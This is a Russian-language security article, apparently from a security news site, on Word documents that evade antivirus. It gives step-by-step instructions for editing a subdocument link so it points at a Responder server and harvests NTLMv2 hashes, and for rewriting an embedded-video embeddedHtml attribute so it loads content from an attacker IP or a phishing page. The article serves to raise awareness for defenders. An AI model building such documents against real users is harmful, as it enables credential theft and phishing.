Способы обхода антивирусов с помощью вредоносных файлов Microsoft Office

Способы обхода антивирусов с помощью вредоносных файлов Microsoft Office

Организации используют антивирус для защиты конечных точек, однако полагаться лишь на него нельзя. Существуют, например, недочеты и баги программного обеспечения, которые вендор так и не признал уязвимостями — зато хакеры и прочие злоумышленники с успехом могут воспользоваться дырами в безопасности. Об одной из таких брешей, помогающей обойти антивирусы, сейчас и пойдет речь.

 

 

 

  1. Введение
  2. Вредоносные файлы Microsoft Office
    1. 2.1. Subdoc Inject
    2. 2.2. Проблемы Office Open XML
  3. Выводы

 

Введение

Значительная доля атак против организаций приходится на рассылку писем с вредоносными документами. Схема проста и стара как мир: файл эксплуатирует уязвимость программы при открытии документа, «полезная» нагрузка делает свое дело, и хакер получает то, чего добивался... или нет. В большинстве случаев, если на машине установлен антивирус, то все посторонние действия будут заблокированы как подозрительные. Но если более детально рассмотреть положение вещей, то окажется, что на практике некоторые возможности программного обеспечения сами по себе несут опасность. Например, в начале 2018 года компанию Microsoft предупредили о том, что в ее программном обеспечении есть некие функции, которые можно злонамеренно эксплуатировать, и даже предоставили демонстрацию (proof-of-concept) для доказательства. Однако сотрудники производителя стали отрицать наличие уязвимости и ссылаться на особенности продукта.

Такие параметры сродни 0-day. Их не так уж и много, однако они существуют. Рассмотрим несколько примеров таких атак: как они действуют и как легко можно сконфигурировать файл, который будет нести в себе опасную нагрузку.

 

Вредоносные файлы Microsoft Office

Subdoc Inject

Начиная с Microsoft Word 2007, текстовый редактор из Редмонда имеет функцию Subdocuments. Как уже упоминалось выше, почти два года назад корпорацию предупредили о наличии вредоносных качеств этой программной возможности, но заплатка так и не появилась.

Для воспроизведения атаки потребуются:

  1. Машина с операционной системой Linux. 
  2. Windows-машина с установленным программным обеспечение Microsoft Office любой версии, начиная с 2007. Эта система может выступать в роли и жертвы, и атакующего.

Для начала настроим Linux-систему. Необходимо будет скачать и запустить утилиту Responder. Это — небольшая программа, которая «слушает» запросы по различным протоколам и достает оттуда учетные данные, если они там есть.

 

Рисунок 1. Запуск Responder

 Запуск Responder

 

Теперь необходимо сконфигурировать вредоносный файл. Создаем два файла .doc (doc1 и doc2). В документ doc1 пишем любой текст, сохраняем его и закрываем. Затем открываем doc2. На примере Microsoft Word 2007: переключаемся на вкладку «Вставка» и выбираем «Объект → Объект».

 

Рисунок 2. Вставка субдокумента

 Вставка субдокумента

 

В открывшемся окне переходим на вкладку «Создание из файла». Заполняем поле «Имя файла», указывая на doc1. Обязательно устанавливаем флаг «Связь с файлом». После этого в теле документа появится вставка в виде текста из doc1. Не забываем сохранить и закрыть.

Следующий шаг — исследовать глубины структуры документа. «Разобрать» его можно разными способами — это обычный ZIP, поддержка которого изначально есть в Windows. Кому-то по душе внешние архиваторы, кто-то предпочитает файловые менеджеры с архивными плагинами — у каждого свои преимущества. В примере для удобства использовался WinRAR. Итак, открываем документ выбранным способом и идем в папку word\_rels. Нас интересует файл .rels. Распаковываем его из архива и открываем с помощью «Блокнота». Самая интересная часть — это ссылка на файл.

 

Рисунок 3. Ссылка для замены

 Ссылка для замены

 

Ее необходимо отредактировать таким образом, чтобы она имела вид Target=///IP, где IP — это адрес сервера с запущенным Responder. Затем сохраняем и закрываем «Блокнот». Упаковываем _rels на свое место, заменив им старую версию. На этом этапе подготовка закончена.

Открываем «злой» файл, и на машине с Linux в запущенном Responder отобразится перехваченная часть учетных данных (имя пользователя и домен) в открытом виде и NTLMv2-SSP-хеш. Дополнительно нам выдан IP-адрес жертвы.

 

Рисунок 4. Перехваченные учетные данные

 Перехваченные учетные данные

 

Что произошло, и в чем заключается уловка? При открытии файла Word пытается обратиться по ссылке на встроенный файл. Это провоцирует автоматическую попытку авторизации по SMB без Session Security Flag, для чего отправляется стандартный запрос, содержащий зашифрованный NTLM-хеш пароля.

Файл такого типа не блокирует ни один известный антивирус. На экране пользователя не отображается никаких уведомлений. Третье лицо получает учетные данные пользователя, не вызывая даже подозрения.

Проблемы Office Open XML

Начиная с выпуска Microsoft Office 2013, в OOXML стал доступен класс WebVideoProperty. Он появляется в разметке при вставке онлайн-видео в документ и отвечает за свойства отображения и воспроизведения видео для пользователя за счет внутренних атрибутов. Нас будет интересовать атрибут «embeddedHtml». Очень символичное название, потому что он позаимствовал некоторые функции у тега <embed> в HTML (предполагаю, что именно оттуда и идет наименование). Атрибут содержит ссылку на вставленный ролик. За счет того, что этот параметр «знает», из какого закоулка интернета тянуть картинку видеозаписи, опущен он быть не может. Из этого следует, что любой документ со вставленным онлайн-видео может быть опасным.

На подготовительном этапе в качестве необходимого инструмента должен выступать Microsoft Word 2013. Запускаем его и идем в меню «Вставка».

 

Рисунок 5. Интерфейс программы

 Интерфейс программы WPSApp

 

В появившемся окне в строчке напротив YouTube вписываем слово «видео» и выбираем первую понравившуюся картинку. Видео отобразилось на листе документа, и это — отчасти заслуга как раз параметра «embeddedHtml». Сохраняем и закрываем документ. Дальше точно так же орудуем архиватором WinRAR. В папке word есть файл document.xml. Разархивируем и откроем его. В скудной документации о классе WebVideoProperty указано, что на практике всё это дело называется как wp15:webVideoPr. Находим нужную строчку (см. рисунок 6).

 

Рисунок 6. Уязвимая строка

 Уязвимая строка

 

Удалим всё между кавычками и приведем к следующему виду:

embeddedHtml="&lt;a href=&quot;http: //192.168.1.20/ 1.html&quot;frameborder=&quot;0&quot;type=&quot;text/html&quot; width=&quot;816&quot;height=&quot;480&quot;&gt;хакер;&lt;a;/&gt;" h="480" w="816"

Теперь после нажатия на значок «Play» загрузится файл с указанного IP-адреса (должно быть заранее всё подготовлено). Также можно направить жертву, например, на фишинговый сайт — тут уж как решит атакующий.

Такой файл Word тоже не определится антивирусом как вредоносный. В этот раз, правда, требуется участие жертвы.

 

Выводы

В статье были рассмотрены два примера создания файлов, которые не будут распознаны антивирусом как вредоносные. Злоумышленник не сможет завладеть сетью при таких атаках, но они очень поспособствуют этому.

Если смотреть со стороны защиты, то это — своего рода фишинг, поэтому методы борьбы ничем не отличаются: внимательность и подозрительность не должны дремать. Файлы, которые были прикреплены к письмам из непроверенных источников, лучше не открывать вовсе. Также, если есть протоколы, которыми не пользуются пользователи, они должны быть заблокированы на уровне сетевого устройства, как минимум на границе с интернетом.

Полезные ссылки: 
Anti-Malware TelegramПодписывайтесь на канал "Anti-Malware" в Telegram, чтобы первыми узнавать о новостях и наших эксклюзивных материалах по информационной безопасности.

RSS: Новые статьи на Anti-Malware.ru